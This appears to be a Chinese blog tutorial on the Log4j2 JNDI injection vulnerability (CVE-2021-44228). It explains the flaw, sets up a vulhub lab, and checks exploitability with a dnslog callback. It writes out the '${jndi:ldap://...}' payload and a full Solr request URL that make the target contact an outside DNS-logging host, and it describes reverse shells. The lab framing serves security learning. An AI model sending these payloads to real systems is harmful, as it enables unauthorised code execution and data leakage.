Log4j2漏洞(一)原理和dnslog验证

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、漏洞介绍

1.1、背景

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证, Apache Struts2、 Apache Solr、Apache Druid、 Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

1.2、漏洞原理

Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

因为Log4j2默认支持解析LDAP/RMI协议,会通过名称从LDAP服务端其获取对应的Class文件,并使用ClassLoader在本地加载LDAP服务端返回的Class类。 影响版本:Log4j2.x<=2.14.1。

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。两者之间的关键差别是目录服务中对象不但可以有名称还可以有属性(例如,用户有email地址),而命名服务中对象没有属性。

JNDI架构提供了一组标准的独立于命名系统的API,这些API构建在与命名系统有关的驱动之上。这一层有助于将应用与实际数据源分离,因此不管应用访问的是LDAP、RMI、DNS、还是其他的目录服务。换句话说,JNDI独立于目录服务的具体实现,只要有目录的服务提供接口(或驱动),就可以使用目录。

以上内容摘自《百度百科》

2、靶场环境

2.1、环境说明

由于后面的一个漏洞利用工具【JNDI-Injection-Exploit】在编译和攻击机的jdk版本要求一致,且版本有特定要求,否则在反弹shell时不成功,因此我都使用jdk1.8.0_191,jdk其他版本这个工具我尝试过很多次都失败了,只有jdk1.8.0_191才反弹shell成功。

环境准备请参考:《kali系统下多版本JDK共存》和《kali系统安装docker和部署vulhub服务》。

2.2、启动靶场
# 先切到对应目录
cd /home/kali/vulhub-master/log4j/CVE-2021-44228

# 开启靶场
docker-compose up -d

# 查看靶场启动情况
docker-compose ps

Log4j2漏洞(一)原理和dnslog验证_第1张图片

2.3、访问靶场

访问:http://your-ip:8983

Log4j2漏洞(一)原理和dnslog验证_第2张图片

3、确定注入点

查看/vulhub-master/log4j/CVE-2021-44228下的README文件看漏洞说明

# 查看命令
cat README.zh-cn.md

# 注入点
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com}

Log4j2漏洞(一)原理和dnslog验证_第3张图片

4、dnslog验证

访问:https://dnslog.org/ ,获取子域名:83ddb152.dnslog.store

在payload后拼接上以下poc

# poc格式
${jndi:ldap://${sys:java.version}.example.com}

# poc原文,把example.com替换成dnslog子域名
${jndi:ldap://${sys:java.version}.83ddb152.dnslog.store}

# 拼接第3步骤说的路径进行访问
http://your-ip:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.83ddb152.dnslog.store}

Log4j2漏洞(一)原理和dnslog验证_第4张图片

然后访问:https://dnslog.org/ ,点Get Results获取结果,发现会有请求结果在列表,表示能够远程执行代码

Log4j2漏洞(一)原理和dnslog验证_第5张图片

5、反弹shell

反弹shell (reverse shell) 是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell差不多对应,本质上是网络概念的客户端与服务端的角色反转。

反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。

6、下期内容预告

下期将会分享log4j2漏洞复现3种反弹shell利用方式,敬请关注我的公众号:大象只为你,持续更新中…

你可能感兴趣的:(跟我学网安知识,命令执行,漏洞复现,网络安全)